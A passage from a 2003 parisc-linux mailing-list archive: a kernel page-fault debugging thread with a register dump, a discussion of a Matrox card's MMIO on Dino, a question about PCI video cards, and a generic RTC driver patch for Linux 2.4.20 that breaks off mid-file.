	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17257

> On Sat, Jan 04, 2003 at 02:38:15PM -0500, John David Anglin wrote:
> > This has been around for awhile.  When using a SMP configuration, the
> > program expect "causes" a segmentation fault that results in do_page_fault()
> > going into an infinite loop.  The log data repeats indefinitely and
> > eventually fills /var.  For some reason, expect is not killed by the kernel
> > when this happens, although the loop can be broken by manually killing it.
> 
> This on gsyprf11? (running SMP 2.4.20-pa13 on a500-65)

We were running 2.4.20-pa18 earlier today.  I rebooted to see if
that would help and SMP 2.4.20-pa13 came up.  It think the sample
fault below was on 2.4.20-pa18.

> I'm hoping this is unrelated to my entry.S changes.

Possibly, this is involved.  The IAOQ below points to an address in
the dynamic loader or a shared library.  I tried building a static
version of expect to see if I could locate which code was causing
the problem but it didn't work at all.  It caused page faults in
what was possibly a syscall.  The return pointer was still above
0x40000000.

> But is certainly sounds like that kind of problem.
> 
> In -pa12, Randolph and I fixed:
> | revision 1.98
> | date: 2002/12/09 06:09:08;  author: tausq;  state: Exp;  lines: +2 -2
> | -pa12
> | fix interruption return path so that it will process signals after
> | handle_interruption()
> | (thanks to Grant for pointing this out)
> 
> Since I broken this with -pa11, maybe the rebuild of -pa13 picked
> up the old -pa11 entry.o?

Don't know.  However, I haven't seen the hang during gcc's configure
process.  That's where I first noticed the page fault problem that
you and Randolph fixed above.

> I'll rebuild from scratch to rule this out and reboot gsyprf11.
> 
> Perhaps a user space signal handler is interfering?
> 
> BTW, appended is one "expect" segfault info from dmesg ouput.
> Dmesg output is filled with the same PID and AFAICT the register dumps
> look identical too. "infinite" is about right.
> 
> grant
> 
> do_page_fault() pid=28552 command='expect' type=15 address=0x00000014
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Not tainted
> r00-03  0000000000000000 fffffffffffffffa 00000000403309c4 00000000403309d4
> r04-07  0000000040330970 000000004032ea28 0000000000000063 000000004032ea28
> r08-11  0000000000021110 0000000000205ff4 0000000000000006 0000000000003b1b
> r12-15  0000000000000001 0000000000000000 0000000000207d40 0000000000000001
> r16-19  0000000000000000 0000000000000001 0000000000000000 000000004032ea28
> r20-23  000000000000000b 000000000000000c 0000000000205628 00000000002055f8
> r24-27  0000000000000030 0000000000000000 0000000040330970 0000000000020d44
> r28-31  0000000000000002 00000000403309e8 00000000faf05a40 0000000000000000
> sr0-3   000000000037b780 000000000037b780 0000000000000000 000000000037b780
> sr4-7   000000000037b780 000000000037b780 000000000037b780 000000000037b780
> 
> IASQ: 000000000037b780 000000000037b780 IAOQ: 000000004025b45f 000000004025b463
> IIR: 0eb41290    ISR: 000000000037b780  IOR: 0000000000000014
> CPU:        1   CR30: 0000000030754000 CR31: 0000000000008020
> ORIG_R28: 0000000000000002
> 
> 

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] do_page_fault() infinite loop running 2.4.20-pa18 #9 SMP
Date: Sun, 5 Jan 2003 01:19:39 -0500 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <200301050619.h056JdDN017760@hiauly1.hia.nrc.ca>
References: <20030105055118.GC14817@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622071 19371 80.91.229.3 (22 Nov 2014 02:07:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 23:19:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B182D4831
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Jan 2003 23:19:47 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h056Jeot017761;
	Sun, 5 Jan 2003 01:19:40 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h056JdDN017760;
	Sun, 5 Jan 2003 01:19:39 -0500 (EST)
In-Reply-To: <20030105055118.GC14817@dsl2.external.hp.com> from "Grant Grundler" at Jan 4, 2003 10:51:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17258

> Perhaps a user space signal handler is interfering?

I believe expect uses alarm to handle timeouts.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Matrox Millenium II in C240
Date: Sun, 5 Jan 2003 13:10:37 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <20030105131037.E19239@parcelfarce.linux.theplanet.co.uk>
References: <20030102123856.GD871@portablue.intern.mind.be> <20030103051715.GA14565@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622071 19373 80.91.229.3 (22 Nov 2014 02:07:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:51 +0000 (UTC)
Cc: Peter 'p2' De Schrijver <p2@mind.be>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  5 06:10:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E98E24829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Jan 2003 06:10:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18VAY1-0004Y6-00; Sun, 05 Jan 2003 13:10:37 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030103051715.GA14565@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Jan 02, 2003 at 10:17:15PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17259

On Thu, Jan 02, 2003 at 10:17:15PM -0700, Grant Grundler wrote:
> Does it? are the 64-bit slots 3.3v only?

Yep.  Thought that was part of the PCI spec, though maybe I'm confused with
66MHz.

> > Has anyone before succeeded in accessing mmio space of PCI
> > card attached to the 32bit PCI bus of the C240 ?
> 
> SCSI is accessed that way. tulip driver can be tweaked to use MMIO
> if you don't have any 100BT GSC (card-mode Dino) cards.

umm.. I thought cardmode MMIO was working now on B/C/J class machines.
I think D/K/R still have resource management issues.

> > 00:01.0 VGA compatible controller: Matrox Graphics, Inc. MGA 2164W [Millennium II] (prog-if 00 [VGA])
> > 	Subsystem: Matrox Graphics, Inc.: Unknown device 2003
> > 	Flags: medium devsel, IRQ 97
> > 	Memory at f9000000 (32-bit, prefetchable) [size=16M]
> > 	Memory at f3ffc000 (32-bit, non-prefetchable) [size=16K]
> > 	Memory at f2800000 (32-bit, non-prefetchable) [size=8M]
> > 	Expansion ROM at f3f80000 [disabled] [size=64K]
> 
> Looks like PDC/IODC did it's thing.
> Look at matrox drivers to make sure they are calling
> "pci_device_enable()" and ioremap() before attempting to access
> the device.
> 
> Check /proc/iomem to see which PCI bus controller
> this is getting routed through and that the system
> has correctly identified the MMIO resources.
> 
> It's interesting one device has MMIO at both 0xf2800000
> and 0xf9000000 since it would imply one PCI controller is supposed
> to forward the entire range of addresses. But Dino only forwards
> (any number of) 8MB chunks between 0xf0800000 and 0xff800000 (except
> the first and last 8MB chunks).

I think this may well be the problem.  I bet Dino hasn't been programmed
to forward the 16MB range at f900'0000, and Linux has just found an
unused bit of address space and allocated it to the Matrox card.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chema <jmpbox@etsin.upm.es>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCI video card.
Date: Sun,  5 Jan 2003 16:54:25 -0500 (EST)
Lines: 8
Approved: news@gmane.org
Message-ID: <20030105215425.4CA8BF126@setsin.etsin.upm.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622072 19375 80.91.229.3 (22 Nov 2014 02:07:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  5 07:38:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from setsin.etsin.upm.es (setsin.etsin.upm.es [138.100.110.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8D3C4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Jan 2003 07:38:34 -0700 (MST)
Original-Received: from setsin.etsin.upm.es (setsin.etsin.upm.es [138.100.110.100])
	by setsin.etsin.upm.es (Postfix) with SMTP id 4CA8BF126
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Jan 2003 16:54:25 -0500 (EST)
X-Mailer: Sylpheed version 0.7.3 (GTK+ 1.2.10; i586-mandrake-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17260

Hi:
I have a spare Geforce4 PCI card. Would it be possible using it in a 712 or a 735 ?
What about Voodoo >2, vodoo3, voodoo4, etc?
I would thank URLs about it.
Thank you very much.

Chema.


From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic RTC driver in 2.4.x?
Date: Sun, 5 Jan 2003 15:44:20 +0100 (MET)
Lines: 873
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0301051535430.10519-100000__14735.268863342$1416622072$gmane$org@vervain.sonytel.be>
References: <Pine.GSO.4.21.0212282336010.17067-100000@vervain.sonytel.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622072 19379 80.91.229.3 (22 Nov 2014 02:07:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:52 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Tom Rini <trini@kernel.crashing.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  5 07:45:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 853804830
	for <parisc-linux@parisc-linux.org>; Sun,  5 Jan 2003 07:45:12 -0700 (MST)
Original-Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.26])
	by mail.sonytel.be (8.9.0/8.8.6) with ESMTP id PAA03857;
	Sun, 5 Jan 2003 15:44:20 +0100 (MET)
In-Reply-To: <Pine.GSO.4.21.0212282336010.17067-100000@vervain.sonytel.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17261

On Sat, 28 Dec 2002, Geert Uytterhoeven wrote:
> On Thu, 26 Dec 2002, Tom Rini wrote:
> > On Tue, Dec 24, 2002 at 03:51:47PM -0800, Randolph Chung wrote:
> > > > AFAIK the generic RTC driver is used on PA-RISC, PPC, and m68k.
> > > >
> > > > Are you interested in a backport to 2.4.x?
> > >
> > > On parisc we already have a version of the generic RTC driver in our
> > > 2.4 tree. If there's something more "official" or common we can adopt
> > > that version.
> >
> > Similarly, PPC has had it's own 'generic' RTC driver in the kernel for
> > ages, so there's no pressing need, but if the 2.5 version makes its way
> > back into 2.4 (as the 2.5 version has some minor changes needed for
> > everyone which weren't in the 2.4 m68k version), we can easily switch to
> > that version.
> 
> I already merged some of your 2.5.x changes with the driver in the m68k 2.4.x
> tree.
> 
> I'll do some more merges, and get back to you...

The following patch adds the generic RTC driver to 2.4.20 (applies fine to
2.4.21-pre2). This driver provides a /dev/rtc-compatible interface to the real
time clock on machines without a PC-style RTC chip. It is used as the primary
RTC driver on m68k, pa-risc, and ppc. This driver is already present in 2.5.x.

Pa-risc and ppc people (any other users?), please send me your enhancements (or
just ack if none are necessary), so I can send genrtc to Marcelo.

Thanks!

 Documentation/Configure.help            |   28 +
 arch/m68k/config.in                     |    5 
 arch/m68k/kernel/m68k_ksyms.c           |    5 
 arch/m68k/kernel/setup.c                |    3 
 arch/m68k/q40/config.c                  |   41 ++
 drivers/char/Makefile                   |    1 
 include/asm-m68k/machdep.h              |    4 
 include/asm-m68k/rtc.h                  |   44 ++
 include/linux/rtc.h                     |   28 +
 linux-m68k-2.4.20/drivers/char/genrtc.c |  524 ++++++++++++++++++++++++++++++++ 10 files changed, 678 insertions, 5 deletions

--- linux-2.4.20/Documentation/Configure.help	Tue Oct 29 18:40:45 2002
+++ linux-m68k-2.4.20/Documentation/Configure.help	Wed Oct 16 11:01:53 2002
@@ -18959,6 +18959,34 @@
   The module is called rtc.o. If you want to compile it as a module,
   say M here and read <file:Documentation/modules.txt>.
 
+Generic Real Time Clock Support
+CONFIG_GEN_RTC
+  If you say Y here and create a character special file /dev/rtc with
+  major number 10 and minor number 135 using mknod ("man mknod"), you
+  will get access to the real time clock (or hardware clock) built
+  into your computer.
+
+  In 2.4 and later kernels this is the only way to set and get rtc
+  time on m68k systems so it is highly recommended.
+
+  It reports status information via the file /proc/driver/rtc and its 
+  behaviour is set by various ioctls on /dev/rtc. If you enable the
+  "extended RTC operation" below it will also provide an emulation
+  for RTC_UIE which is required by some programs and may improve
+  precision in some cases.
+
+  This driver is also available as a module ( = code which can be
+  inserted in and removed from the running kernel whenever you want).
+  The module is called genrtc.o. If you want to compile it as a module,
+  say M here and read <file:Documentation/modules.txt>. To load the
+  module automaticaly add 'alias char-major-10-135 genrtc' to your
+  /etc/modules.conf
+
+Extended RTC operation
+CONFIG_GEN_RTC_X
+  Provides an emulation for RTC_UIE which is required by some programs 
+  and may improve precision of the generic RTC support in some cases.
+
 Tadpole ANA H8 Support
 CONFIG_H8
   The Hitachi H8/337 is a microcontroller used to deal with the power
--- linux-2.4.20/arch/m68k/config.in	Fri Sep 13 10:14:59 2002
+++ linux-m68k-2.4.20/arch/m68k/config.in	Tue Aug 13 09:14:30 2002
@@ -517,8 +517,11 @@
    if [ "$CONFIG_SUN3" = "y" ]; then
       define_bool CONFIG_GEN_RTC y
    else
-      bool 'Generic /dev/rtc emulation' CONFIG_GEN_RTC
+      tristate 'Generic /dev/rtc emulation' CONFIG_GEN_RTC      
    fi
+fi
+if [ "$CONFIG_GEN_RTC" != "n" ]; then
+   bool '   Extended RTC operation' CONFIG_GEN_RTC_X
 fi
 bool 'Unix98 PTY support' CONFIG_UNIX98_PTYS
 if [ "$CONFIG_UNIX98_PTYS" = "y" ]; then
--- linux-2.4.20/arch/m68k/kernel/m68k_ksyms.c	Thu Jan  4 22:00:55 2001
+++ linux-m68k-2.4.20/arch/m68k/kernel/m68k_ksyms.c	Fri Mar  1 12:29:44 2002
@@ -18,6 +18,7 @@
 #include <asm/checksum.h>
 #include <asm/hardirq.h>
 #include <asm/softirq.h>
+#include <asm/rtc.h>
 
 asmlinkage long long __ashldi3 (long long, int);
 asmlinkage long long __ashrdi3 (long long, int);
@@ -49,6 +50,10 @@
 EXPORT_SYMBOL(kernel_set_cachemode);
 #endif /* !CONFIG_SUN3 */
 EXPORT_SYMBOL(m68k_debug_device);
+EXPORT_SYMBOL(mach_hwclk);
+EXPORT_SYMBOL(mach_get_ss);
+EXPORT_SYMBOL(mach_get_rtc_pll);
+EXPORT_SYMBOL(mach_set_rtc_pll);
 EXPORT_SYMBOL(dump_fpu);
 EXPORT_SYMBOL(dump_thread);
 EXPORT_SYMBOL(strnlen);
--- linux-2.4.20/arch/m68k/kernel/setup.c	Fri Sep 13 10:15:01 2002
+++ linux-m68k-2.4.20/arch/m68k/kernel/setup.c	Mon Sep  9 13:07:29 2002
@@ -90,6 +90,9 @@
 void (*mach_gettod) (int*, int*, int*, int*, int*, int*);
 int (*mach_hwclk) (int, struct rtc_time*) = NULL;
 int (*mach_set_clock_mmss) (unsigned long) = NULL;
+unsigned int (*mach_get_ss)(void) = NULL;
+int (*mach_get_rtc_pll)(struct rtc_pll_info *) = NULL;
+int (*mach_set_rtc_pll)(struct rtc_pll_info *) = NULL;
 void (*mach_reset)( void );
 void (*mach_halt)( void ) = NULL;
 void (*mach_power_off)( void ) = NULL;
--- linux-2.4.20/arch/m68k/q40/config.c	Fri Sep 13 10:15:02 2002
+++ linux-m68k-2.4.20/arch/m68k/q40/config.c	Mon Sep  9 13:07:29 2002
@@ -58,7 +58,10 @@
 extern void q40_gettod (int *year, int *mon, int *day, int *hour,
                            int *min, int *sec);
 extern int q40_hwclk (int, struct rtc_time *);
+extern unsigned int q40_get_ss (void);
 extern int q40_set_clock_mmss (unsigned long);
+static int q40_get_rtc_pll(struct rtc_pll_info *pll);
+static int q40_set_rtc_pll(struct rtc_pll_info *pll);
 extern void q40_reset (void);
 void q40_halt(void);
 extern void q40_waitbut(void);
@@ -196,6 +199,9 @@
     mach_gettimeoffset   = q40_gettimeoffset; 
     mach_gettod  	 = q40_gettod;
     mach_hwclk           = q40_hwclk; 
+    mach_get_ss          = q40_get_ss; 
+    mach_get_rtc_pll     = q40_get_rtc_pll; 
+    mach_set_rtc_pll     = q40_set_rtc_pll; 
     mach_set_clock_mmss	 = q40_set_clock_mmss;
 
     mach_reset		 = q40_reset;
@@ -331,6 +337,11 @@
 	return 0;
 }
 
+unsigned int q40_get_ss()
+{
+	return bcd2bin(Q40_RTC_SECS);
+}
+
 /*
  * Set the minutes and seconds from seconds value 'nowtime'.  Fail if
  * clock is out by > 30 minutes.  Logic lifted from atari code.
@@ -362,3 +373,33 @@
 	return retval;
 }
 
+
+/* get and set PLL calibration of RTC clock */
+#define Q40_RTC_PLL_MASK ((1<<5)-1)
+#define Q40_RTC_PLL_SIGN (1<<5)
+
+static int q40_get_rtc_pll(struct rtc_pll_info *pll)
+{
+      int tmp=Q40_RTC_CTRL;
+      pll->pll_value = tmp & Q40_RTC_PLL_MASK;
+      if (tmp & Q40_RTC_PLL_SIGN) 
+	  pll->pll_value = -pll->pll_value;
+      pll->pll_max=31;
+      pll->pll_min=-31;
+      pll->pll_posmult=512;
+      pll->pll_negmult=256;
+      pll->pll_clock=125829120;
+      return 0;
+  }
+
+static int q40_set_rtc_pll(struct rtc_pll_info *pll)
+{
+  if (!pll->pll_ctrl){
+      /* the docs are a bit unclear so I am doublesetting RTC_WRITE here ... */
+      int tmp=(pll->pll_value & 31) | (pll->pll_value<0 ? 32 : 0) | Q40_RTC_WRITE;
+      Q40_RTC_CTRL |= Q40_RTC_WRITE;
+      Q40_RTC_CTRL = tmp;
+      Q40_RTC_CTRL &= ~(Q40_RTC_WRITE);
+      return 0;
+  } else return -EINVAL;
+}
--- linux-2.4.20/drivers/char/Makefile	Wed Nov 27 11:02:06 2002
+++ linux-m68k-2.4.20/drivers/char/Makefile	Tue Nov 26 13:24:32 2002
@@ -222,6 +222,7 @@
 obj-$(CONFIG_PC110_PAD) += pc110pad.o
 obj-$(CONFIG_MK712_MOUSE) += mk712.o
 obj-$(CONFIG_RTC) += rtc.o
+obj-$(CONFIG_GEN_RTC) += genrtc.o
 obj-$(CONFIG_EFI_RTC) += efirtc.o
 ifeq ($(CONFIG_PPC),)
   obj-$(CONFIG_NVRAM) += nvram.o
--- /dev/null	Mon Mar 18 12:17:27 2002
+++ linux-m68k-2.4.20/drivers/char/genrtc.c	Sun Jan  5 15:24:28 2003
@@ -0,0 +1,524 @@
+/*
+ *	Real Time Clock interface for q40 and other m68k machines
+ *      emulate some RTC irq capabilities in software
+ *
+ *      Copyright (C) 1999 Richard Zidlicky
+ *
+ *	based on Paul Gortmaker's rtc.c device and
+ *           Sam Creasey Generic rtc driver
+ *
+ *	This driver allows use of the real time clock (built into
+ *	nearly all computers) from user space. It exports the /dev/rtc
+ *	interface supporting various ioctl() and also the /proc/dev/rtc
+ *	pseudo-file for status information.
+ *
+ *	The ioctls can be used to set the interrupt behaviour where
+ *  supported.
+ *
+ *	The /dev/rtc interface will block on reads until an interrupt
+ *	has been received. If a RTC interrupt has already happened,
+ *	it will output an unsigned long and then block. The output value
+ *	contains the interrupt status in the low byte and the number of
+ *	interrupts since the last read in the remaining high bytes. The
+ *	/dev/rtc interface can also be used with the select(2) call.
+ *
+ *	This program is free software; you can redistribute it and/or
+ *	modify it under the terms of the GNU General Public License
+ *	as published by the Free Software Foundation; either version
+ *	2 of the License, or (at your option) any later version.
+ *
+
+ *      1.01 fix for 2.3.X                    rz@linux-m68k.org
+ *      1.02 merged with code from genrtc.c   rz@linux-m68k.org
+ *      1.03 make it more portable            zippel@linux-m68k.org
+ *      1.04 removed useless timer code       rz@linux-m68k.org
+ *      1.05 portable RTC_UIE emulation       rz@linux-m68k.org
+ *      1.06 set_rtc_time can return an error trini@kernel.crashing.org
+ */
+
+#define RTC_VERSION	"1.06"
+
+#include <linux/module.h>
+#include <linux/config.h>
+#include <linux/errno.h>
+#include <linux/miscdevice.h>
+#include <linux/fcntl.h>
+
+#include <linux/rtc.h>
+#include <linux/init.h>
+#include <linux/poll.h>
+#include <linux/proc_fs.h>
+
+#include <asm/uaccess.h>
+#include <asm/system.h>
+#include <asm/rtc.h>
+
+/*
+ *	We sponge a minor off of the misc major. No need slurping
+ *	up another valuable major dev number for this. If you add
+ *	an ioctl, make sure you don't conflict with SPARC's RTC
+ *	ioctls.
+ */
+
+static DECLARE_WAIT_QUEUE_HEAD(gen_rtc_wait);
+
+static int gen_rtc_ioctl(struct inode *inode, struct file *file,
+		     unsigned int cmd, unsigned long arg);
+
+/*
+ *	Bits in gen_rtc_status.
+ */
+
+#define RTC_IS_OPEN		0x01	/* means /dev/rtc is in use	*/
+
+unsigned char gen_rtc_status;		/* bitmapped status byte.	*/
+unsigned long gen_rtc_irq_data;		/* our output to the world	*/
+
+/* months start at 0 now */
+unsigned char days_in_mo[] =
+{31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
+
+static int irq_active;
+
+#ifdef CONFIG_GEN_RTC_X
+struct tq_struct genrtc_task;
+static struct timer_list timer_task;
+
+static unsigned int oldsecs;
+static int lostint;
+static int tt_exp;
+
+void gen_rtc_timer(unsigned long data);
+
+static volatile int stask_active;              /* schedule_task */
+static volatile int ttask_active;              /* timer_task */
+static int stop_rtc_timers;                    /* don't requeue tasks */
+static spinlock_t gen_rtc_lock = SPIN_LOCK_UNLOCKED;
+
+/*
+ * Routine to poll RTC seconds field for change as often as posible,
+ * after first RTC_UIE use timer to reduce polling
+ */
+void genrtc_troutine(void *data)
+{
+	unsigned int tmp = get_rtc_ss();
+	
+	if (stop_rtc_timers) {
+		stask_active = 0;
+		return;
+	}
+
+	if (oldsecs != tmp){
+		oldsecs = tmp;
+
+		timer_task.function = gen_rtc_timer;
+		timer_task.expires = jiffies + HZ - (HZ/10);
+		tt_exp=timer_task.expires;
+		ttask_active=1;
+		stask_active=0;
+		add_timer(&timer_task);
+
+		gen_rtc_interrupt(0);
+	} else if (schedule_task(&genrtc_task) == 0)
+		stask_active = 0;
+}
+
+void gen_rtc_timer(unsigned long data)
+{
+	lostint = get_rtc_ss() - oldsecs ;
+	if (lostint<0) 
+		lostint = 60 - lostint;
+	if (time_after(jiffies, tt_exp))
+		printk(KERN_INFO "genrtc: timer task delayed by %ld jiffies\n",
+		       jiffies-tt_exp);
+	ttask_active=0;
+	stask_active=1;
+	if ((schedule_task(&genrtc_task) == 0))
+		stask_active = 0;
+}
+
+/* 
+ * call gen_rtc_interrupt function to signal an RTC_UIE,
+ * arg is unused.
+ * Could be invoked either from a real interrupt handler or
+ * from some routine that periodically (eg 100HZ) monitors
+ * whether RTC_SECS changed
+ */
+void gen_rtc_interrupt(unsigned long arg)
+{
+	/*  We store the status in the low byte and the number of
+	 *	interrupts received since the last read in the remainder
+	 *	of rtc_irq_data.  */
+
+	gen_rtc_irq_data += 0x100;
+	gen_rtc_irq_data &= ~0xff;
+	gen_rtc_irq_data |= RTC_UIE;
+
